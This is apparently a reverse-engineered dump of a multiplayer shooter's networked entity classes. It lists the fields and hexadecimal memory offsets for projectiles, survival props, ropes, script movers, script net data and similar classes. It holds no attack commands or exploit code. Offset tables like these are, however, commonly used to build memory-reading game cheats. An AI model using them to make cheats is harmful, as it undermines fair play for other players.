+class DT_Projectile + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_iTeamNum: Int, + m_vecVelocity: Vector, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_CollisionGroup: Int, + m_PredictableID: Int, + m_realmsBitMask: BitMask, + m_weaponDataIsSet: Int, + m_forceAdjustToGunBarrelDisabled: Int, + m_weaponClassIndex: Int, + m_destructionDistance: Float, + m_passThroughDepthTotal: Int, + m_modBitfield: Int, + m_overrideMods: Int, + m_projectileTrailIndex: Int, + m_impactEffectTable: Int, + m_reducedEffects: Int, + m_projectileCreationTimeServer: Time, + m_weaponSource: Int, + m_passThroughModCount: Int, + m_passThroughPoints: DataTable, + m_preModdedTrailEffectIndices1p: DataTable, + m_preModdedTrailEffectIndices3p: DataTable, + m_launchOrigin: Vector, +} +``` + +### Offsets + +``` +DT_Projectile!0x004c m_cellX +DT_Projectile!0x0050 m_cellY +DT_Projectile!0x0054 m_cellZ +DT_Projectile!0x0058 m_localOrigin +DT_Projectile!0x0064 m_nModelIndex +DT_Projectile!0x03d4 m_networkedFlags +DT_Projectile!0x0430 m_iTeamNum +DT_Projectile!0x0460 m_vecVelocity +DT_Projectile!0x046c m_localAngles +DT_Projectile!0x0480 m_hOwnerEntity +DT_Projectile!0x0518 m_CollisionGroup +DT_Projectile!0x07a4 m_PredictableID +DT_Projectile!0x0a28 m_realmsBitMask +DT_Projectile!0x1600 m_weaponDataIsSet +DT_Projectile!0x1601 m_forceAdjustToGunBarrelDisabled +DT_Projectile!0x1604 m_weaponClassIndex +DT_Projectile!0x1608 m_destructionDistance +DT_Projectile!0x160c m_passThroughDepthTotal +DT_Projectile!0x1610 m_modBitfield +DT_Projectile!0x1614 m_overrideMods +DT_Projectile!0x1618 m_projectileTrailIndex +DT_Projectile!0x161c m_impactEffectTable +DT_Projectile!0x1620 m_reducedEffects +DT_Projectile!0x1624 m_projectileCreationTimeServer +DT_Projectile!0x1628 m_weaponSource +DT_Projectile!0x162c m_passThroughModCount +DT_Projectile!0x1630 m_passThroughPoints +DT_Projectile!0x163c m_preModdedTrailEffectIndices1p +DT_Projectile!0x1640 m_preModdedTrailEffectIndices3p +DT_Projectile!0x1644 m_launchOrigin +``` +
+
+class DT_PropSurvival + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_iSignifierName: String, + m_parentAttachmentModel: Int, + m_usablePriority: Int, + m_usableDistanceOverride: Float, + m_usableFOV: Float, + m_usePromptSize: Float, + m_realmsBitMask: BitMask, + m_nSkin: Int, + m_skinMod: Int, + m_nBody: Int, + m_camoIndex: Int, + m_ammoInClip: Int, + m_customScriptInt: Int, + m_survivalProperty: Int, + m_weaponNameIndex: Int, + m_modBitField: Int, + m_survivalPropFadeDist: Float, +} +``` + +### Offsets + +``` +DT_PropSurvival!0x001c moveparent +DT_PropSurvival!0x0020 m_parentAttachmentType +DT_PropSurvival!0x0024 m_parentAttachmentIndex +DT_PropSurvival!0x0044 m_fEffects +DT_PropSurvival!0x0048 m_usableType +DT_PropSurvival!0x004c m_cellX +DT_PropSurvival!0x0050 m_cellY +DT_PropSurvival!0x0054 m_cellZ +DT_PropSurvival!0x0058 m_localOrigin +DT_PropSurvival!0x0064 m_nModelIndex +DT_PropSurvival!0x03d4 m_networkedFlags +DT_PropSurvival!0x0428 m_visibilityFlags +DT_PropSurvival!0x046c m_localAngles +DT_PropSurvival!0x0498 m_Collision +DT_PropSurvival!0x0518 m_CollisionGroup +DT_PropSurvival!0x0558 m_iSignifierName +DT_PropSurvival!0x0838 m_parentAttachmentModel +DT_PropSurvival!0x0908 m_usablePriority +DT_PropSurvival!0x090c m_usableDistanceOverride +DT_PropSurvival!0x0910 m_usableFOV +DT_PropSurvival!0x0914 m_usePromptSize +DT_PropSurvival!0x0a28 m_realmsBitMask +DT_PropSurvival!0x0e88 m_nSkin +DT_PropSurvival!0x0e8c m_skinMod +DT_PropSurvival!0x0e90 m_nBody +DT_PropSurvival!0x0e94 m_camoIndex +DT_PropSurvival!0x1604 m_ammoInClip +DT_PropSurvival!0x1608 m_customScriptInt +DT_PropSurvival!0x160c m_survivalProperty +DT_PropSurvival!0x1610 m_weaponNameIndex +DT_PropSurvival!0x1614 m_modBitField +DT_PropSurvival!0x161c m_survivalPropFadeDist +``` +
+
+class DT_RopeKeyframe + +``` +{ + m_localOrigin: Vector, + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_visibilityFlags: Int, + m_hOwnerEntity: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_ropeZiplineAutoDetachDistance: Float, + m_ziplineSagEnable: Int, + m_ziplineSagHeight: Float, + m_ziplineMoveSpeedScale: Float, + m_wiggleFadeStartTime: Time, + m_wiggleEndTime: Time, + m_wiggleMaxLen: Float, + m_wiggleMagnitude: Float, + m_wiggleSpeed: Float, + m_flScrollSpeed: Float, + m_RopeFlags: Int, + m_iRopeMaterialModelIndex: Int, + m_nSegments: Int, + m_hStartPoint: Int, + m_hEndPoint: Int, + m_hPrevPoint: Int, + m_iStartAttachment: Int, + m_iEndAttachment: Int, + m_subdivStackCount: Int, + m_subdivSliceCount: Int, + m_ropeLength: Int, + m_constraintIterations: Int, + m_ropeDampening: Float, + m_Slack: Int, + m_TextureScale: Float, + m_TextureScale: Float, + m_fLockedPoints: Int, + m_lockDirectionCutoffLength: Int, + m_lockDirectionStrength: Float, + m_nChangeCount: Int, + m_Width: Float, + m_bConstrainBetweenEndpoints: Int, +} +``` + +### Offsets + +``` +DT_RopeKeyframe!0x0004 m_localOrigin +DT_RopeKeyframe!0x001c moveparent +DT_RopeKeyframe!0x0020 m_parentAttachmentType +DT_RopeKeyframe!0x0024 m_parentAttachmentIndex +DT_RopeKeyframe!0x0428 m_visibilityFlags +DT_RopeKeyframe!0x0480 m_hOwnerEntity +DT_RopeKeyframe!0x0834 m_parentAttachmentHitbox +DT_RopeKeyframe!0x0838 m_parentAttachmentModel +DT_RopeKeyframe!0x0844 m_fadeDist +DT_RopeKeyframe!0x0a40 m_ropeZiplineAutoDetachDistance +DT_RopeKeyframe!0x0a44 m_ziplineSagEnable +DT_RopeKeyframe!0x0a48 m_ziplineSagHeight +DT_RopeKeyframe!0x0b40 m_ziplineMoveSpeedScale +DT_RopeKeyframe!0x0b44 m_wiggleFadeStartTime +DT_RopeKeyframe!0x0b48 m_wiggleEndTime +DT_RopeKeyframe!0x0b4c m_wiggleMaxLen +DT_RopeKeyframe!0x0b50 m_wiggleMagnitude +DT_RopeKeyframe!0x0b54 m_wiggleSpeed +DT_RopeKeyframe!0x0b8c m_flScrollSpeed +DT_RopeKeyframe!0x0b90 m_RopeFlags +DT_RopeKeyframe!0x0b94 m_iRopeMaterialModelIndex +DT_RopeKeyframe!0x0e18 m_nSegments +DT_RopeKeyframe!0x0e1c m_hStartPoint +DT_RopeKeyframe!0x0e20 m_hEndPoint +DT_RopeKeyframe!0x0e24 m_hPrevPoint +DT_RopeKeyframe!0x0e28 m_iStartAttachment +DT_RopeKeyframe!0x0e2a m_iEndAttachment +DT_RopeKeyframe!0x0e54 m_subdivStackCount +DT_RopeKeyframe!0x0e58 m_subdivSliceCount +DT_RopeKeyframe!0x0e5c m_ropeLength +DT_RopeKeyframe!0x0e64 m_constraintIterations +DT_RopeKeyframe!0x0e68 m_ropeDampening +DT_RopeKeyframe!0x0e6c m_Slack +DT_RopeKeyframe!0x0e70 m_TextureScale +DT_RopeKeyframe!0x0e70 m_TextureScale +DT_RopeKeyframe!0x0e74 m_fLockedPoints +DT_RopeKeyframe!0x0e78 m_lockDirectionCutoffLength +DT_RopeKeyframe!0x0e7c m_lockDirectionStrength +DT_RopeKeyframe!0x0e80 m_nChangeCount +DT_RopeKeyframe!0x0e84 m_Width +DT_RopeKeyframe!0x0f18 m_bConstrainBetweenEndpoints +``` +
+
+class DT_ScriptMover extends DT_ScriptProp + +``` +{ + m_parentAttachmentType: Int, + m_vecAngVelocity: Vector, + m_vecVelocity: Vector, + m_localAngles: Vector, + m_parentAttachmentHitbox: Int, +} +``` + +### Offsets + +``` +DT_ScriptMover!0x0020 m_parentAttachmentType +DT_ScriptMover!0x0128 m_vecAngVelocity +DT_ScriptMover!0x0460 m_vecVelocity +DT_ScriptMover!0x046c m_localAngles +DT_ScriptMover!0x0834 m_parentAttachmentHitbox +``` +
+
+class DT_ScriptMoverLightweight + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_moverNetworkCellX: Int, + m_moverNetworkCellY: Int, + m_moverNetworkCellZ: Int, + m_moverNetworkLocalOrigin: Vector, + m_nModelIndex: Int, + m_moverNetworkAngularVelocity: Vector, + m_networkedFlags: Int, + m_moverNetworkLinearVelocity: Vector, + m_moverNetworkLocalAngles: Vector, + m_scriptNameIndex: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_moveModeNonPhysics: Int, + m_moveModeIsLocal: Int, + m_moveToStartPos: Vector, + m_moveToEndPos: Vector, + m_moveToTimeStart: Time, + m_moveToTimeEnd: Time, + m_moveToTimeEaseIn: Float, + m_moveToTimeEaseOut: Float, + m_moveVelocity: Vector, + m_moveGravity: Vector, + m_trainStartTime: Time, + m_trainStopTime: Time, + m_trainStartDistance: Float, + m_trainCurrentNode: Int, + m_trainStopNode: Int, + m_trainInitialSpeed: Float, + m_trainGoalSpeed: Float, + m_trainAcceleration: Float, + m_trainLastNode: Int, + m_trainLastDistance: Float, + m_trainLastSpeed: Float, + m_trainFollowMover: Int, + m_trainFollowDistance: Float, + m_trainBreadcrumb: DataTable, + m_trainBreadcrumbBegin: Int, + m_trainBreadcrumbCount: Int, + m_trainAutoRollStrength: Float, + m_trainAutoRollLookAheadDistance: Float, + m_trainAutoRollMax: Float, + m_trainSimulateBeforeMeEntity: Int, + m_rotateModeNonPhysics: Int, + m_rotateModeIsLocal: Int, + m_RotateToAnglesStart: Vector, + m_RotateToAnglesEnd: Vector, + m_rotateToTimeStart: Time, + m_rotateToTimeEnd: Time, + m_rotateToTimeEaseIn: Float, + m_rotateToTimeEaseOut: Float, + m_rotateAxis: Vector, + m_rotateSpeed: Float, + m_trainPitchMax: Float, + m_useNonPhysicsMoveInterpolation: Int, +} +``` + +### Offsets + +``` +DT_ScriptMoverLightweight!0x001c moveparent +DT_ScriptMoverLightweight!0x0020 m_parentAttachmentType +DT_ScriptMoverLightweight!0x0024 m_parentAttachmentIndex +DT_ScriptMoverLightweight!0x0044 m_fEffects +DT_ScriptMoverLightweight!0x004c m_moverNetworkCellX +DT_ScriptMoverLightweight!0x0050 m_moverNetworkCellY +DT_ScriptMoverLightweight!0x0054 m_moverNetworkCellZ +DT_ScriptMoverLightweight!0x0058 m_moverNetworkLocalOrigin +DT_ScriptMoverLightweight!0x0064 m_nModelIndex +DT_ScriptMoverLightweight!0x0128 m_moverNetworkAngularVelocity +DT_ScriptMoverLightweight!0x03d4 m_networkedFlags +DT_ScriptMoverLightweight!0x0460 m_moverNetworkLinearVelocity +DT_ScriptMoverLightweight!0x046c m_moverNetworkLocalAngles +DT_ScriptMoverLightweight!0x0668 m_scriptNameIndex +DT_ScriptMoverLightweight!0x0834 m_parentAttachmentHitbox +DT_ScriptMoverLightweight!0x0838 m_parentAttachmentModel +DT_ScriptMoverLightweight!0x0844 m_fadeDist +DT_ScriptMoverLightweight!0x1744 m_moveModeNonPhysics +DT_ScriptMoverLightweight!0x1748 m_moveModeIsLocal +DT_ScriptMoverLightweight!0x174c m_moveToStartPos +DT_ScriptMoverLightweight!0x1758 m_moveToEndPos +DT_ScriptMoverLightweight!0x1764 m_moveToTimeStart +DT_ScriptMoverLightweight!0x1768 m_moveToTimeEnd +DT_ScriptMoverLightweight!0x176c m_moveToTimeEaseIn +DT_ScriptMoverLightweight!0x1770 m_moveToTimeEaseOut +DT_ScriptMoverLightweight!0x1774 m_moveVelocity +DT_ScriptMoverLightweight!0x1780 m_moveGravity +DT_ScriptMoverLightweight!0x178c m_trainStartTime +DT_ScriptMoverLightweight!0x1790 m_trainStopTime +DT_ScriptMoverLightweight!0x1794 m_trainStartDistance +DT_ScriptMoverLightweight!0x1798 m_trainCurrentNode +DT_ScriptMoverLightweight!0x179c m_trainStopNode +DT_ScriptMoverLightweight!0x17a0 m_trainInitialSpeed +DT_ScriptMoverLightweight!0x17a4 m_trainGoalSpeed +DT_ScriptMoverLightweight!0x17a8 m_trainAcceleration +DT_ScriptMoverLightweight!0x17ac m_trainLastNode +DT_ScriptMoverLightweight!0x17b0 m_trainLastDistance +DT_ScriptMoverLightweight!0x17b4 m_trainLastSpeed +DT_ScriptMoverLightweight!0x17b8 m_trainFollowMover +DT_ScriptMoverLightweight!0x17bc m_trainFollowDistance +DT_ScriptMoverLightweight!0x17c0 m_trainBreadcrumb +DT_ScriptMoverLightweight!0x17e0 m_trainBreadcrumbBegin +DT_ScriptMoverLightweight!0x17e4 m_trainBreadcrumbCount +DT_ScriptMoverLightweight!0x17e8 m_trainAutoRollStrength +DT_ScriptMoverLightweight!0x17ec m_trainAutoRollLookAheadDistance +DT_ScriptMoverLightweight!0x17f0 m_trainAutoRollMax +DT_ScriptMoverLightweight!0x17f4 m_trainSimulateBeforeMeEntity +DT_ScriptMoverLightweight!0x17f8 m_rotateModeNonPhysics +DT_ScriptMoverLightweight!0x17fc m_rotateModeIsLocal +DT_ScriptMoverLightweight!0x1800 m_RotateToAnglesStart +DT_ScriptMoverLightweight!0x180c m_RotateToAnglesEnd +DT_ScriptMoverLightweight!0x1818 m_rotateToTimeStart +DT_ScriptMoverLightweight!0x181c m_rotateToTimeEnd +DT_ScriptMoverLightweight!0x1820 m_rotateToTimeEaseIn +DT_ScriptMoverLightweight!0x1824 m_rotateToTimeEaseOut +DT_ScriptMoverLightweight!0x1828 m_rotateAxis +DT_ScriptMoverLightweight!0x1834 m_rotateSpeed +DT_ScriptMoverLightweight!0x1838 m_trainPitchMax +DT_ScriptMoverLightweight!0x1884 m_useNonPhysicsMoveInterpolation +``` +
+
+class DT_ScriptMoverTrainNode + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_scriptNameIndex: Int, + m_firstChildEntityLink: Int, + m_firstParentEntityLink: Int, + m_numSmoothPoints: Int, + m_trainNodeMakeSmoothPointsParity: Int, + m_tangentType: Int, + m_perfectCircularRotation: Int, +} +``` + +### Offsets + +``` +DT_ScriptMoverTrainNode!0x004c m_cellX +DT_ScriptMoverTrainNode!0x0050 m_cellY +DT_ScriptMoverTrainNode!0x0054 m_cellZ +DT_ScriptMoverTrainNode!0x0058 m_localOrigin +DT_ScriptMoverTrainNode!0x0668 m_scriptNameIndex +DT_ScriptMoverTrainNode!0x0a20 m_firstChildEntityLink +DT_ScriptMoverTrainNode!0x0a24 m_firstParentEntityLink +DT_ScriptMoverTrainNode!0x0a40 m_numSmoothPoints +DT_ScriptMoverTrainNode!0x0a44 m_trainNodeMakeSmoothPointsParity +DT_ScriptMoverTrainNode!0x0a48 m_tangentType +DT_ScriptMoverTrainNode!0x0a4c m_perfectCircularRotation +``` +
+
+class DT_ScriptNetData_SNDC_DEATH_BOX extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_bools +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_ranges +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_int32s +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_times +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_entities +DT_ScriptNetData_SNDC_DEATH_BOX!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0c84 m_ranges[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0ca8 m_int32s[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0cb4 m_times[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0cc0 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_GLOBAL extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_bools +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_ranges +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_int32s +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_times +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_entities +DT_ScriptNetData_SNDC_GLOBAL!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0c92 m_ranges[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0cd8 m_int32s[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0d00 m_times[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0d68 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_bools +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_ranges +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_int32s +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_times +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_entities +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0c92 m_ranges[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0cd8 m_int32s[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0d00 m_times[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0d68 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_bools +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_ranges +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_int32s +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_times +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0000 m_entities +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0c9a m_ranges[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0ce0 m_int32s[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0cf8 m_times[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE!0x0d20 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_bools +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_ranges +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_int32s +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_times +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0000 m_entities +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0c9a m_ranges[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0d58 m_int32s[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0d70 m_times[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0d98 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_PLAYER_GLOBAL extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_bools +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_ranges +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_int32s +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_times +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_entities +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0c8e m_ranges[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0cd4 m_int32s[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0d0c m_times[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0d34 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_TITAN_SOUL extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_bools +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_ranges +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_int32s +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_times +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_entities +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0c8a m_ranges[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0cb0 m_int32s[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0cc0 m_times[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0ce8 m_entities[0] +``` +
+
+class DT_ScriptProp extends DT_DynamicProp + +``` +{ + m_networkedFlags: Int, + m_iHealth: Int, + m_iMaxHealth: Int, + m_minimapData: DT_MinimapBaseEntityData, + m_nameVisibilityFlags: Int, + m_title: String, + m_footstepType: String, + m_renderColorFriendlyIsValid: Int, + m_renderColorFriendly: Int, + m_armorType: Int, + m_scriptPropFlags: Int, + m_scriptPropSmartAmmoLockType: Int, +} +``` + +### Offsets + +``` +DT_ScriptProp!0x03d4 m_networkedFlags +DT_ScriptProp!0x0420 m_iHealth +DT_ScriptProp!0x0550 m_iMaxHealth +DT_ScriptProp!0x0948 m_minimapData +DT_ScriptProp!0x0998 m_nameVisibilityFlags +DT_ScriptProp!0x1660 m_title +DT_ScriptProp!0x1680 m_footstepType +DT_ScriptProp!0x16c0 m_renderColorFriendlyIsValid +DT_ScriptProp!0x16c1 m_renderColorFriendly +DT_ScriptProp!0x16c8 m_armorType +DT_ScriptProp!0x16cc m_scriptPropFlags +DT_ScriptProp!0x16d0 m_scriptPropSmartAmmoLockType +``` +
+
+class DT_ScriptTraceVolume extends DT_BaseEntity + +``` +{ + m_shapeType: Int, + m_sphereRadius: Float, + m_boxMins: Vector, + m_boxMaxs: Vector, + m_drawDebug: Int, +} +``` + +### Offsets + +``` +DT_ScriptTraceVolume!0x0a40 m_shapeType +DT_ScriptTraceVolume!0x0a44 m_sphereRadius +DT_ScriptTraceVolume!0x0a48 m_boxMins +DT_ScriptTraceVolume!0x0a54 m_boxMaxs +DT_ScriptTraceVolume!0x0a60 m_drawDebug +``` +
+
+class DT_SequenceTransitioner + +``` +{ + m_sequenceTransitionerLayers: DataTable, + m_sequenceTransitionerLayerCount: Int, +} +``` + +### Offsets + +``` +DT_SequenceTransitioner!0x0050 m_sequenceTransitionerLayers +DT_SequenceTransitioner!0x01a0 m_sequenceTransitionerLayerCount +``` +
+
+class DT_SequenceTransitionerLayer + +``` +{ + m_sequenceTransitionerLayerActive: Int, + m_sequenceTransitionerLayerStartCycle: Cycle, + m_sequenceTransitionerLayerSequence: Int, + m_sequenceTransitionerLayerPlaybackRate: Float, + m_sequenceTransitionerLayerStartTime: Time, + m_sequenceTransitionerLayerFadeOutDuration: Cycle, +} +``` + +### Offsets + +``` +DT_SequenceTransitionerLayer!0x0018 m_sequenceTransitionerLayerActive +DT_SequenceTransitionerLayer!0x001c m_sequenceTransitionerLayerStartCycle +DT_SequenceTransitionerLayer!0x0020 m_sequenceTransitionerLayerSequence +DT_SequenceTransitionerLayer!0x0028 m_sequenceTransitionerLayerPlaybackRate +DT_SequenceTransitionerLayer!0x002c m_sequenceTransitionerLayerStartTime +DT_SequenceTransitionerLayer!0x0030 m_sequenceTransitionerLayerFadeOutDuration +``` +
+
+class DT_SoundData + +``` +{ + m_targetEnt: Int, + m_soundID: BitMask, + m_networkTableID: Int, + m_soundIsStart: Int, + m_seek: Float, +} +``` + +### Offsets + +``` +DT_SoundData!0x0000 m_targetEnt +DT_SoundData!0x0008 m_soundID +DT_SoundData!0x0010 m_networkTableID +DT_SoundData!0x0014 m_soundIsStart +DT_SoundData!0x0018 m_seek +``` +
+
+class DT_StatueProp extends DT_PhysicsProp + +``` +{ + m_hInitBaseAnimating: Int, + m_bShatter: Int, + m_nShatterFlags: Int, + m_vShatterPosition: Vector, + m_vShatterForce: Vector, +} +``` + +### Offsets + +``` +DT_StatueProp!0x1680 m_hInitBaseAnimating +DT_StatueProp!0x1684 m_bShatter +DT_StatueProp!0x1688 m_nShatterFlags +DT_StatueProp!0x168c m_vShatterPosition +DT_StatueProp!0x1698 m_vShatterForce +``` +
+
+class DT_StatusEffectPlugin + +``` +{ + m_hOwnerEntity: Int, + m_statusEffectsTimedPluginNV: DataTable, + m_statusEffectsEndlessPluginNV: DataTable, +} +``` + +### Offsets + +``` +DT_StatusEffectPlugin!0x0480 m_hOwnerEntity +DT_StatusEffectPlugin!0x0a40 m_statusEffectsTimedPluginNV +DT_StatusEffectPlugin!0x0a58 m_statusEffectsEndlessPluginNV +``` +
+
+class DT_TEBreakModel extends DT_BaseTempEntity + +``` +{ + m_vecOrigin: Vector, + m_angRotation.x: Float, + m_angRotation.y: Float, + m_angRotation.z: Float, + m_vecSize: Vector, + m_vecVelocity: Vector, + m_nRandomization: Int, + m_nModelIndex: Int, + m_nCount: Int, + m_fTime: Float, + m_nFlags: Int, +} +``` + +### Offsets + +``` +DT_TEBreakModel!0x0028 m_vecOrigin +DT_TEBreakModel!0x0034 m_angRotation.x +DT_TEBreakModel!0x0038 m_angRotation.y +DT_TEBreakModel!0x003c m_angRotation.z +DT_TEBreakModel!0x0040 m_vecSize +DT_TEBreakModel!0x004c m_vecVelocity +DT_TEBreakModel!0x0058 m_nRandomization +DT_TEBreakModel!0x005c m_nModelIndex +DT_TEBreakModel!0x0060 m_nCount +DT_TEBreakModel!0x0064 m_fTime +DT_TEBreakModel!0x0068 m_nFlags +``` +
+
